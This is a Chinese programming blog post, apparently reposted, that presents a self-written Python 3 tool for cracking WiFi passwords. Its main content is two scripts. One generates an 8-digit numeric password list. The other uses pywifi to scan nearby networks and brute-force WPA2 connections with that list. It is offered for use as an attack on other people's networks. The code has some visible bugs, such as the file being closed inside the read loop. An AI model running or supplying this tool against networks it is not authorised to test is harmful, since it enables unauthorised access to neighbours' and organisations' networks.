程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

使用python3 破解wifi密码 自写程序

发布于2019-08-07 10:24     阅读(687)     评论(0)     点赞(1)     收藏(4)


运行环境:win10 + python3.7

 

生成密码的代码如下:

----------------------------------------------------------------------------------------------------------------------------

 

import itertools as its

if __name__ == '__main__':
    words_num = "1234567890"
    words_letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    r = its.product(words_num,repeat=8)
    dic = open("password-8位数字.txt","w")
    for i in r:
        dic.write("".join(i))
        dic.write("".join("\n"))
    dic.close()
    print("完全写入成功")

----------------------------------------------------------------------------------------------------------------------------

运行破解密码代码如下:

 

-------------------------------------------------------------------------------------------------------------------------------

 

import pywifi
import time
import constant
import comtypes

def getwifi(wifilist,wificount):
    wifi = pywifi.PyWiFi() # 抓取网卡接口
    ifaces = wifi.interfaces()[0] # 获取网卡
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    ssidlist = []
    for data in bessis:
        if data.ssid not in namelist: #去掉重命名的wifi名称
            namelist.append(data.ssid)
            allwifilist.append((data.ssid,data.signal))
            sorted(allwifilist,key=lambda st:st[1],reverse=True)
            time.sleep(1)
            n = 0
            if len(allwifilist) is not 0:
                for item in allwifilist:
                    if(item[0] not in ssidlist) & (item[0] not in wifilist):
                        n+=1
                        if n <= wificount:
                            ssidlist.append(item[0])
                            print(allwifilist)

    return ssidlist

def getifaces():
    wifi = pywifi.PyWiFi() # 抓取网卡接口
    ifaces = wifi.interfaces()[0] # 获取网卡
    ifaces.disconnect() # 断开无线网卡连接
    return ifaces

def testwifi(ifaces,ssidname,password):
    profile = pywifi.Profile() # 创建wifi连接文件
    profile.ssid = ssidname # 定义wifissid
    profile.auth = constant.const.AUTH_ALG_OPEN #网卡开放
    profile.akm.append(constant.const.AKM_TYPE_WPA2PSK) #wifi加密算法
    profile.cipher = constant.const.CIPHER_TYPE_CCMP #加密单元
    profile.key =  password #wifi密码
    ifaces.remove_all_network_profiles()#删除其他所有配置文件
    tmp_profile = ifaces.add_network_profile(profile)#加载配置文件
    ifaces.connect(tmp_profile) #连接wifi
    time.sleep(5) # 5秒能否连接上
    if ifaces.status() == constant.const.IFACE_CONNECTED:
        return True
    else:
        return False

def beginwork(wifinamelist):
    ifaces = getifaces()
    path = r'password-8位数字.txt' # wifi密码文件
    files = open(path,'r')
    while True:
        try:
            password = files.readline()
            password = password.strip(' \n')
            if not password:
                break
            for wifiname in wifinamelist:
                print("正在尝试"+wifiname+','+password)
                if testwifi(ifaces,wifiname,password):
                    wifinamelist.remove(wifiname)
                    break
                if not wifinamelist:
                    break
        except:
            continue
        files.close()

if __name__ == '__main__':
    wifiname_e = ['HNIU'] #排除不破解的wifi的名字
    wifinames = getwifi(wifiname_e,5)
    print(wifinames)
    beginwork(wifinames)

-------------------------------------------------------------------------------------------------------------------------------

 

如何代码有问题或者需要优化的地方,欢迎二提出来了,谢谢!

联系QQ:2433702912

 



所属网站分类: 技术文章 > 博客

作者:23hdsdh

链接:https://www.pythonheidong.com/blog/article/9803/6392ddc178c46d3f2031/

来源:python黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

1 0
收藏该文
已收藏

评论内容:(最多支持255个字符)